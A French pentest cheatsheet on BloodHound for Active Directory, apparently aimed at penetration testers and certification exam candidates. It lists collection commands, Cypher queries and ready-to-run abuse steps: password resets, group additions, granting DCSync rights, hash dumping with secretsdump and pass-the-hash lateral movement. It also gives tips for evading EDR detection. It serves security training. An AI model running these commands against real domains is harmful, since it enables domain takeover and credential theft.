Cheatsheet BloodHound 2026

Collecte, ingestion, requêtes Cypher et chemins d'attaque Active Directory — tout pour cartographier un domaine et trouver le plus court chemin vers Domain Admin avec BloodHound.

Mis à jour :

Navigation rapide

01 Collecte (SharpHound) 02 Setup & Ingestion 03 Requêtes Cypher 04 Edges & Abus 05 Chemins d'attaque 06 Astuces Pro

# Collecte (SharpHound / bloodhound-python)

D'abord, collecte les données du domaine. Utilise SharpHound depuis Windows ou bloodhound-python depuis Linux avec des credentials valides.

SharpHound (Windows)

.\SharpHound.exe -c All --zipfilename corp
Collecte tout depuis un hôte Windows joint au domaine ou authentifié
.\SharpHound.exe -c DCOnly --Jitter 30 --Throttle 1000
Collecte plus furtive — DC uniquement, pas de sessions, throttlée

bloodhound-python (Linux / Kali)

bloodhound-python -d domain.local -u USER -p PASS -c All -ns DC_IP --zip
Collecte à distance depuis Kali avec des credentials valides
bloodhound-python -d domain.local -u USER --hashes :NTLM_HASH -c All -ns DC_IP --zip
Collecte avec un hash NTLM capturé (pass-the-hash)
nxc ldap DC_IP -u USER -p PASS --bloodhound -c All --dns-server DC_IP
Collecte directe avec NetExec (nxc) — pas de collecteur séparé

# Setup & Ingestion

BloodHound CE tourne en Docker avec une UI web. Importe le ZIP collecté, puis marque tes comptes compromis comme Owned.

curl -L https://ghst.ly/getbhce | docker compose -f - up
Lance BloodHound CE avec le fichier Docker Compose officiel
💡 Astuce : après la première connexion (admin par défaut), importe le ZIP via Administration → File Ingest. Ancien BloodHound : glisse le ZIP sur le graphe ou utilise Upload Data.
# Clic droit sur ton utilisateur/machine compromis → Mark as Owned
Les nœuds Owned alimentent les requêtes « Shortest Paths from Owned »

# Requêtes Cypher

Cypher est le langage de requête du graphe derrière BloodHound. Ces requêtes font ressortir instantanément les cibles à forte valeur.

MATCH (u:User {hasspn:true}) RETURN u
Utilisateurs Kerberoastables (comptes avec un SPN)
MATCH (u:User {dontreqpreauth:true}) RETURN u
Utilisateurs AS-REP roastables (pas de pré-auth Kerberos)
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p
Plus court chemin de ton utilisateur owned vers les Domain Admins
MATCH (u:User)-[:MemberOf*1..]->(g:Group)-[:DCSync|GetChanges|GetChangesAll]->(:Domain) RETURN u
Principals pouvant faire un DCSync (dump de tous les hashes)
MATCH p=(u {owned:true})-[:GenericAll|WriteDacl|WriteOwner|ForceChangePassword*1..]->(t) RETURN p
Chemins d'abus d'ACL depuis ton principal owned vers n'importe quelle cible

# Edges & comment les abuser

Chaque edge est un droit abusable. Voici ceux que tu exploiteras le plus en mission et en examen.

ForceChangePassword → net rpc password "TARGET" "NewPass1!" -U "DOMAIN"/"USER"%"PASS" -S DC
Réinitialise le mot de passe d'une cible avec ForceChangePassword
GenericAll (sur user) → targetedKerberoast.py -d domain.local -u USER -p PASS
Ajoute un SPN et Kerberoast un utilisateur sur lequel tu as GenericAll
AddMember → net rpc group addmem "TARGET GROUP" "YOURUSER" -U ... -S DC
Ajoute-toi à un groupe privilégié sur lequel tu peux écrire
WriteDacl → dacledit.py -action write -rights DCSync -principal USER -target-dn "DC=domain,DC=local"
Accorde-toi des droits DCSync en éditant la DACL du domaine

# Chemins d'attaque vers Domain Admin

Transforme le graphe en action. Utilise les requêtes d'analyse pré-construites, puis exécute chaque edge du chemin.

💡 Astuce : requêtes pré-construites dans l'onglet Analysis : « Shortest Paths to Domain Admins », « Shortest Paths from Owned Principals », « Find Principals with DCSync Rights », « Kerberoastable Users ».
impacket-GetUserSPNs domain.local/USER:PASS -dc-ip DC_IP -request
Exécute l'étape de Kerberoasting identifiée par BloodHound
impacket-secretsdump domain.local/USER:PASS@DC_IP
Une fois un chemin DCSync atteint, dump tous les hashes du domaine
evil-winrm -i TARGET -u USER -H NTLM_HASH
Bouge latéralement le long du chemin avec pass-the-hash

# Astuces Pro

Tire davantage de BloodHound en mission réelle et en examen AD.

🎯 Marque tout en Owned : au fur et à mesure que tu compromets des comptes, marque-les Owned pour que « Shortest Paths from Owned » reste juste et révèle de nouveaux chemins.
🧭 Trie par forte valeur : concentre-toi sur les cibles à forte valeur (DA, DC, Enterprise Admins). BloodHound les signale automatiquement.
🥷 Reste discret : sur réseaux surveillés, utilise -c DCOnly et évite la collecte de sessions pour ne pas alerter l'EDR.
🔁 Re-collecte après chaque gain : nouvelles sessions et credentials ouvrent de nouveaux edges — recollecte après les compromissions clés.
📚 Lis l'onglet Help : clic droit sur un edge → Help explique exactement comment l'abuser, avec les commandes.

❓ Questions fréquentes BloodHound

BloodHound cartographie les relations Active Directory sous forme de graphe et révèle les chemins d'attaque vers Domain Admin. Il collecte utilisateurs, groupes, sessions, ACL et trusts avec un collecteur (SharpHound ou bloodhound-python), puis permet de lancer des requêtes Cypher et une analyse du plus court chemin pour trouver des chaînes d'élévation invisibles à l'œil nu.

SharpHound est le collecteur C#/.NET lancé depuis un hôte Windows. bloodhound-python tourne à distance depuis Linux/Kali avec des credentials valides — idéal sans exécution sur une machine Windows. Les deux produisent du JSON à importer dans BloodHound.

Les edges sont des relations dirigées représentant des droits abusables — par exemple MemberOf, AdminTo, HasSession, GenericAll, WriteDacl, ForceChangePassword et DCSync. Chaque edge est une étape d'un chemin d'attaque ; le panneau Help explique comment abuser de chacun.

Utilise la requête pré-construite « Shortest Paths to Domain Admins », ou marque ton principal Owned et lance « Shortest Paths from Owned Principals ». Ou écris du Cypher : MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p.

BloodHound CE est la réécriture actuelle de SpecterOps en Docker avec une UI web et un backend PostgreSQL/Neo4j, remplaçant l'ancienne app Electron. Les collecteurs et concepts Cypher sont identiques ; CE améliore la scalabilité, l'API et l'expérience de requêtes.

Ça peut l'être. SharpHound avec -c All est bruyant — LDAP massif, énumération de sessions et SMB déclenchent l'EDR. Pour la furtivité, ne collecte que le nécessaire (-c DCOnly), throttle avec --Jitter/--Throttle, et évite la collecte de sessions sur réseaux surveillés.

Plus court chemin vers les Domain Admins, utilisateurs Kerberoastables (hasspn:true), AS-REP roastables (dontreqpreauth:true), principals avec droits DCSync, principals avec GenericAll/WriteDacl sur des cibles à forte valeur, et machines où un utilisateur compromis a une session active.

Dans ces trois examens très orientés AD, BloodHound est utilisé juste après le foothold pour cartographier le domaine et planifier le chemin vers Domain Admin. Il met en évidence les cibles de Kerberoasting, les chaînes d'abus d'ACL et le mouvement latéral, transformant un grand domaine en plan d'attaque clair et priorisé.

SharpHound produit un ZIP de fichiers JSON. Dans BloodHound CE, utilise Administration → File Ingest ; dans l'ancien BloodHound, glisse le ZIP sur l'UI ou utilise Upload Data. Après ingestion, lance les requêtes pré-construites ou marque tes principals compromis comme Owned.

Oui. La mindmap gratuite organise 12 020+ commandes dont la collecte BloodHound, les requêtes Cypher et toute la chaîne d'attaque AD (Kerberoasting, abus d'ACL, DCSync) avec recherche instantanée, pour trouver vite la commande et la requête exactes en mission ou en prépa d'examen.

📚 Ressources liées

Maîtrise l'Active Directory avec 12 020+ commandes

Cette cheatsheet n'est que la surface. Pentest Mindmap organise 12 020+ commandes en 34 catégories — dont toute la chaîne d'attaque BloodHound et Active Directory — avec recherche instantanée.

Commencer gratuitement →
📎 Cette cheatsheet t'a été utile ?